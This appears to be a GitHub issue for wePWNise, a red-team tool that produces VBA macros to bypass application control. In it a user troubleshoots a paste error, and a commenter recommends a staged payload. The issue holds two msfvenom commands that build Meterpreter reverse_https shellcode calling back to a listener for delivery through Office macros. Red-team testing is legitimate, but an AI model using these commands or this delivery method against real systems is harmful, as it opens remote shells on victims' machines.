FSecureLABS / wePWNise

WePWNise generates architecture independent VBA code to be used in Office documents or templates and automates bypassing application control and exploit mitigation software.
https://labs.mwrinfosecurity.com/tools/wepwnise/
Other
349 stars 96 forks source link

Error: Too many line continuations #3

Open joeminicucci opened 5 years ago

joeminicucci commented 5 years ago

Windows 10 Office 16 -> View Macros -> Opens Microsoft Visual Basic for Applications debugger Paste in macro from the following msf payloads:

msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.0.2.15 lport=443 --platform windows -f raw -o shellcode64-encoded.bin -b '\x00'
msfvenom -p windows/meterpreter_reverse_https lhost=10.0.2.15 lport=443 --platform windows -f raw -o shellcode-encoded.bin -b '\x00'

Error on paste into the debugger: image

jeffmcjunkin commented 5 years ago

Try windows/meterpreter/reverse_https instead of windows/meterpreter_reverse_https for that second msfvenom command. You're unintentionally (I think) doing a stageless payload, which is much bigger.

joeminicucci commented 5 years ago

Sorry for the delay, Im going to test this again sometime this week. :) Thanks for the support Jeff.